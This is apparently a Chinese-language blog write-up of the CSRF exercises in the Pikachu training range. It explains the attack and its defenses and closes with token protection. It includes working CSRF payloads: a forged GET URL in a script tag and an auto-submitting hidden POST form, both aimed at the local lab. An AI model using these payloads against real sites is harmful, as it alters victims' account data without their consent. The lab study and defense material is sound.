pikachu靶场练习——CSRF详解

CSRF概述

1、原理:

当黑客发现某网站存在CSRF漏洞,并且构造攻击参数将payload制作成网页,用户访问存在CSRF漏洞的网站,并且登录到后台,获取cookie,此时黑客发送带有payload的网址给用户,用户同时打开黑客所发来的网址,执行了payload,则造成了一次CSRF攻击

2、形成原因:

主要是漏洞网站没有经过二次验证,用户在浏览漏洞网站的时候,同时点击了hack制造的payload

3、防御:

(1)当用户发送重要的请求时需要输入原始密码
(2)设置随机 Token(最有效)
(3)检验 referer来源(同源策略),请求时判断请求链接是否为当前管理员正在使用的页面
(4)设置验证码
(5)限制请求方式只能为 POST

一、CSRF(get)

首先根据提示输入账号密码,点击登录:
pikachu靶场练习——CSRF详解_第1张图片
点击修改个人信息:
pikachu靶场练习——CSRF详解_第2张图片
用burpsuite抓包,点击submit,看到get提交的数据包/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=1asf&add=nba+lakes&email=1111111%40qq.com&submit=submit HTTP/1.1
pikachu靶场练习——CSRF详解_第3张图片
修改用户信息的时候,是不带任何不可预测的认证信息的,也就是说可以直接伪造提交的数据包,改下里面的信息:
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=1asf&add=nba+lakes&email=2222222%40qq.com&submit=submit
pikachu靶场练习——CSRF详解_第4张图片
提交发现修改成功:
pikachu靶场练习——CSRF详解_第5张图片

扩展:

我们可以进行伪造服务器点击,在自己的服务器上创建index.html,其作用是被攻击者访问到这个html代码时会请求这个地址。
修改一下数据包里面的东西,index.html的内容为:

<script src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18888888&add=nba+lakes&email=333333%40qq.com&submit=submit"></script>

假装被攻击者访问自己的服务器,会触发这个代码,f12查看网络。
pikachu靶场练习——CSRF详解_第6张图片
访问这个地址,发现信息被修改成功。pikachu靶场练习——CSRF详解_第7张图片

简单看下代码

24~27行先检查用户是否登录,如果用户已登录,就不再做任何验证,29-42行直接将前端传来的数据保存到数据库。
pikachu靶场练习——CSRF详解_第8张图片

二、CSRF(post)

再次登录,这次用lucy的:
pikachu靶场练习——CSRF详解_第9张图片
点击修改:
pikachu靶场练习——CSRF详解_第10张图片
进行抓包,从下图的请求报文来看,和前一关一样,没有不可预测的认证信息,可以被利用。
但是post下的URL不再显示修改参数,所以无法再使用上述办法(即通过URL来伪造请求)进行修改。
pikachu靶场练习——CSRF详解_第11张图片
这里需要攻击者自己写个利用该漏洞的html文件,放在自己服务器上,并发给被攻击者点击这个html文件的链接。
比如针对这一关,将包含如下index.html代码的文件放入攻击者的服务器:

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="boy" />
                <input type="hidden" name="phonenum" value="111111" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="[email protected]" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>                    
            form>
    body>
html> 

被攻击者点击攻击者发送的服务器链接之后,就可以成功修改信息:
pikachu靶场练习——CSRF详解_第12张图片

三、CSRF Token

再次输入账号密码,这次用lili的:
pikachu靶场练习——CSRF详解_第13张图片
点击修改信息:
pikachu靶场练习——CSRF详解_第14张图片
进行抓包,查看数据包,出现了token:
pikachu靶场练习——CSRF详解_第15张图片
多试几次发现修改信息之前的token和修改信息之后的token是不一样的,必须token对得上才能执行这个数据包。
当用自己的服务器构造数据包,它的token不一样,所以修改就不会成功。
从上面可以看到的是token随机字符串用来验证数据包的唯一性,由于数据包的唯一性也就导致csrf漏洞几乎不能被利用。
这关其实是是防御CSRF的常用方法的一个演示。

查看代码:

发现修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。
修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。
pikachu靶场练习——CSRF详解_第16张图片
在/inc/function.php里有set_token()函数:
pikachu靶场练习——CSRF详解_第17张图片

你可能感兴趣的:(靶场,csrf,php,服务器,安全)